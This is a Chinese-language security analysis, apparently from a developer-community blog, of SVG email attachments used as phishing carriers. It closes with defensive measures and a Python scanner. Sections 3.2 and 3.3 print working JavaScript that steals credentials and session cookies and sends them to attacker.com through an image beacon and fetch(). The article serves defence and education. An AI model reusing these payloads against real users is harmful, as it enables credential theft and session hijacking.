首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >SVG文件中的隐蔽威胁:电子邮件钓鱼攻击的新载体分析

SVG文件中的隐蔽威胁:电子邮件钓鱼攻击的新载体分析

原创
作者头像
草竹道人
发布2025-11-21 09:34:18
发布2025-11-21 09:34:18
1580
举报

摘要

近年来,可缩放矢量图形(Scalable Vector Graphics, SVG)因其轻量、可缩放和跨平台兼容等优势,被广泛应用于网页设计与数字通信中。然而,随着其功能扩展,SVG逐渐暴露出安全风险,尤其在电子邮件环境中成为新型钓鱼攻击的高发载体。本文系统分析了SVG作为钓鱼攻击媒介的技术机理,包括其嵌入脚本的能力、绕过传统邮件安全检测的特性,以及攻击者利用该格式实施凭证窃取、会话劫持乃至绕过多因素认证的具体手法。通过对2024年第四季度至2025年第二季度全球多家安全厂商披露数据的整合,本文量化了此类攻击的增长趋势,并结合真实攻击样本还原攻击链。此外,文章提出了针对邮件网关、客户端及终端用户的多层次防御策略,并通过代码示例展示恶意SVG的构造方式与检测逻辑。研究表明,当前主流电子邮件平台对SVG内容缺乏有效管控机制,亟需从协议层、渲染层与策略层协同强化防护能力。

关键词:SVG;钓鱼攻击;电子邮件安全;JavaScript注入;内容过滤;安全策略

1 引言

电子邮件作为企业通信的核心基础设施,长期是网络攻击者的首要目标。传统钓鱼攻击多依赖伪装链接或携带宏病毒的Office文档诱导用户交互,但随着邮件安全网关对附件类型、URL信誉及宏行为的持续强化检测,攻击者不断寻找新的规避路径。在此背景下,SVG文件因其“图像”属性而被多数安全系统默认信任,却具备执行脚本的能力,成为理想的隐蔽攻击载体。

SVG是一种基于XML的矢量图形格式,由万维网联盟(W3C)标准化,支持内联CSS、HTML片段及ECMAScript(即JavaScript)。尽管W3C规范明确指出SVG文档可包含交互式内容,但在实际部署中,许多邮件客户端(如Outlook Web、Apple Mail、Gmail网页版)在解析SVG附件时仍会触发浏览器级渲染引擎,从而执行其中嵌入的脚本。这一特性被攻击者巧妙利用:将钓鱼表单直接嵌入SVG文件,在用户仅打开邮件(无需点击任何链接)的情况下完成凭证收集。

2024年末以来,全球多家网络安全机构相继报告SVG钓鱼攻击案例激增。据Sublime Security统计,2025年第一季度,SVG附件占其检测到的全部钓鱼尝试的1%;而相较于2024年第四季度,相关攻击数量增长达47,000%。另据行业综合数据显示,过去三个月内该类攻击同比增长230%,金融、医疗及法律服务等高价值行业成为主要目标。这些数据表明,SVG钓鱼已非偶发事件,而是演变为一种系统性威胁。

本文旨在深入剖析SVG钓鱼攻击的技术实现路径、传播机制与危害边界,评估现有防御体系的不足,并提出切实可行的缓解措施。全文结构如下:第二部分介绍SVG格式的安全特性与潜在风险;第三部分详细拆解典型攻击流程并辅以代码示例;第四部分分析当前邮件安全生态对SVG的处理盲区;第五部分提出分层防御框架;第六部分总结研究发现并展望未来方向。

SVG phishing

2 SVG格式的安全特性与风险基础

2.1 SVG的技术架构

SVG文件本质上是文本格式的XML文档,描述图形元素(如路径、矩形、文本)及其样式属性。其核心优势在于分辨率无关性与动态交互能力。例如,一个简单的SVG可定义如下:

<svg width="200" height="100" xmlns="http://www.w3.org/2000/svg">

<rect x="10" y="10" width="180" height="80" fill="blue" />

<text x="100" y="60" text-anchor="middle" fill="white">Click Me</text>

</svg>

然而,SVG标准允许通过<script>标签引入外部或内联JavaScript,亦可通过<foreignObject>嵌入完整的HTML结构。这意味着SVG不仅是静态图像,更是一个可编程文档容器。

2.2 脚本执行能力与安全边界模糊

根据SVG 1.1及后续版本规范,脚本执行受同源策略(Same-Origin Policy)约束,且现代浏览器通常在沙箱环境中限制其网络请求权限。然而,在电子邮件上下文中,这一安全模型被显著削弱:

邮件客户端渲染机制差异:部分Web邮件客户端(如早期版本的Gmail)在预览窗格中直接使用浏览器引擎渲染SVG,导致脚本在用户无感知情况下执行。

缺乏内容安全策略(CSP):邮件系统极少对附件实施CSP头控制,使得内联脚本无法被有效阻断。

用户信任偏差:收件人普遍将“.svg”视为无害图像文件,警惕性远低于.exe或.js附件。

上述因素共同构成SVG被滥用于钓鱼攻击的基础条件。

3 SVG钓鱼攻击的技术实现与攻击链示例

3.1 攻击流程概述

典型的SVG钓鱼攻击包含以下步骤:

诱饵构造:攻击者伪造企业通知、发票或签名图片,将其保存为SVG格式。

恶意载荷嵌入:在SVG中插入JavaScript代码,用于动态生成钓鱼表单或发起隐蔽请求。

邮件投递:通过SMTP服务器发送含SVG附件的邮件,主题常伪装为“重要更新”“账户验证”等。

自动触发:用户打开邮件时,邮件客户端渲染SVG,脚本自动执行。

数据窃取:用户在伪造表单中输入凭证,数据经Base64编码后通过Image Beacon或Fetch API外传至攻击者控制服务器。

3.2 恶意SVG代码示例

以下是一个简化但功能完整的钓鱼SVG样本:

<svg xmlns="http://www.w3.org/2000/svg"

xmlns:xlink="http://www.w3.org/1999/xlink"

width="500" height="300">

<script type="application/ecmascript"><![CDATA[

function stealCredentials() {

// 动态创建钓鱼表单

const form = document.createElement('form');

form.style.position = 'absolute';

form.style.top = '50%';

form.style.left = '50%';

form.style.transform = 'translate(-50%, -50%)';

form.innerHTML = `

<label>Email: <input type="email" id="u" required></label><br>

<label>Password: <input type="password" id="p" required></label><br>

<button type="submit">Verify Account</button>

`;

form.onsubmit = (e) => {

e.preventDefault();

const u = document.getElementById('u').value;

const p = document.getElementById('p').value;

// 将凭证编码并通过图片信标外传

const img = new Image();

img.src = 'https://attacker.com/log?data=' + btoa(u + ':' + p);

alert('Verification successful. Please wait...');

// 可选:重定向至真实登录页以增强迷惑性

window.location.href = 'https://legitimate-bank.com/login';

};

document.body.appendChild(form);

}

// 页面加载完成后自动触发

window.addEventListener('load', stealCredentials);

]]></script>

<!-- 伪装为公司Logo -->

<rect x="0" y="0" width="500" height="300" fill="#f0f0f0"/>

<text x="250" y="150" font-size="24" text-anchor="middle">SecureBank Logo</text>

</svg>

该SVG在视觉上呈现为银行Logo,但一旦被渲染,即弹出看似官方的登录表单。用户提交后,凭证被编码并通过<img>标签的src属性外传——此技术称为“Beaconing”,可绕过部分CORS限制。

3.3 高级变种:绕过多因素认证(MFA)

部分攻击进一步利用会话令牌窃取实现MFA绕过。例如,若目标使用基于Cookie的会话管理,恶意脚本可读取document.cookie并发送至攻击者服务器。随后,攻击者利用该会话直接登录,无需密码或第二因子。代码片段如下:

const cookies = document.cookie;

fetch('https://attacker.com/exfil', {

method: 'POST',

body: cookies,

mode: 'no-cors' // 规避CORS错误,确保请求发出

});

尽管no-cors模式下响应不可读,但请求本身足以完成数据外泄。

4 当前邮件安全体系对SVG的处理缺陷

4.1 安全网关的检测盲区

主流邮件安全网关(如Mimecast、Proofpoint)主要依赖以下机制检测恶意附件:

文件扩展名黑名单(如.exe, .js)

静态特征码匹配

沙箱行为分析

然而,SVG文件通常不在黑名单之列,且其XML结构难以通过传统AV引擎识别恶意脚本。即使启用沙箱,若沙箱环境未模拟真实邮件客户端的渲染行为(如禁用JavaScript),则无法触发攻击载荷。

4.2 邮件客户端的不一致处理

不同客户端对SVG的支持与限制差异显著:

客户端

是否渲染SVG

是否执行脚本

备注

Gmail (Web)

否(转为PNG预览)

较安全

Outlook Web

是(部分版本)

高风险

Apple Mail

高风险

Thunderbird

否(默认)

较安全

值得注意的是,即使Gmail在Web端阻止SVG渲染,其移动端应用或第三方集成(如通过IMAP同步至其他客户端)仍可能导致SVG被执行。

4.3 用户教育的局限性

传统安全意识培训强调“勿点可疑链接”“勿开未知附件”,但SVG文件常以“公司Logo.svg”“Invoice_Q2.svg”等合理命名出现,且无明显危险标识(如.exe的警告图标),用户难以识别。

5 防御策略与缓解措施

5.1 邮件网关层面

扩展附件过滤策略:将.svg加入高风险附件类型,强制转换为静态图像(如PNG)或直接阻断。

内容深度解析:部署支持XML/JavaScript语法分析的检测引擎,识别<script>、onload、<foreignObject>等危险元素。

行为沙箱增强:在沙箱中启用完整浏览器环境,模拟用户打开邮件的行为,监控是否有网络外联或DOM篡改。

5.2 邮件客户端与终端配置

禁用SVG脚本执行:通过组策略或客户端设置,禁止邮件中SVG的JavaScript执行。例如,在基于Chromium的客户端中可设置--disable-javascript-harmony-shipping等标志。

采用安全渲染模式:将SVG附件在隔离iframe中渲染,并施加严格的CSP策略,如:

Content-Security-Policy: default-src 'none'; img-src 'self'; style-src 'unsafe-inline'

5.3 组织策略与用户培训

明确禁止业务邮件使用SVG:制定通信规范,要求所有图像附件使用JPEG/PNG格式。

开展针对性演练:在钓鱼模拟测试中加入SVG样本,提升员工对该类威胁的识别能力。

5.4 技术检测示例:SVG恶意脚本扫描器

以下Python脚本可初步检测SVG文件是否包含脚本:

import xml.etree.ElementTree as ET

import sys

def is_malicious_svg(file_path):

try:

tree = ET.parse(file_path)

root = tree.getroot()

# 检查<script>标签

if root.find('.//{http://www.w3.org/2000/svg}script') is not None:

return True

# 检查事件属性(如onload, onclick)

for elem in root.iter():

for attr in elem.attrib:

if attr.startswith('on'):

return True

# 检查<foreignObject>(可能嵌入HTML)

if root.find('.//{http://www.w3.org/2000/svg}foreignObject') is not None:

return True

return False

except Exception as e:

print(f"Parse error: {e}")

return False

if __name__ == "__main__":

if len(sys.argv) != 2:

print("Usage: python svg_scanner.py <file.svg>")

sys.exit(1)

if is_malicious_svg(sys.argv[1]):

print("[ALERT] Potentially malicious SVG detected!")

else:

print("[OK] No obvious threats found.")

该工具可集成至邮件网关的预处理流水线,作为第一道防线。

6 结论

SVG钓鱼攻击的兴起并非偶然,而是攻击者利用技术便利性与安全盲区的必然结果。其核心威胁在于将“被动图像”转化为“主动执行体”,在用户零交互前提下完成攻击。本文通过技术拆解、数据佐证与防御推演,证实该威胁已具备规模化、自动化与高隐蔽性特征。

当前防御体系的主要短板在于对“非传统可执行文件”的忽视。SVG虽属图像格式,但其编程能力使其本质上接近HTML文档。因此,安全策略必须超越文件扩展名,深入内容语义层进行风险判定。

未来工作应聚焦于推动邮件协议标准更新,明确禁止在邮件上下文中执行SVG脚本;同时,鼓励邮件服务商默认禁用SVG渲染或强制静态化处理。唯有从标准、产品与策略三层面协同发力,方能有效遏制这一新兴威胁的蔓延。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档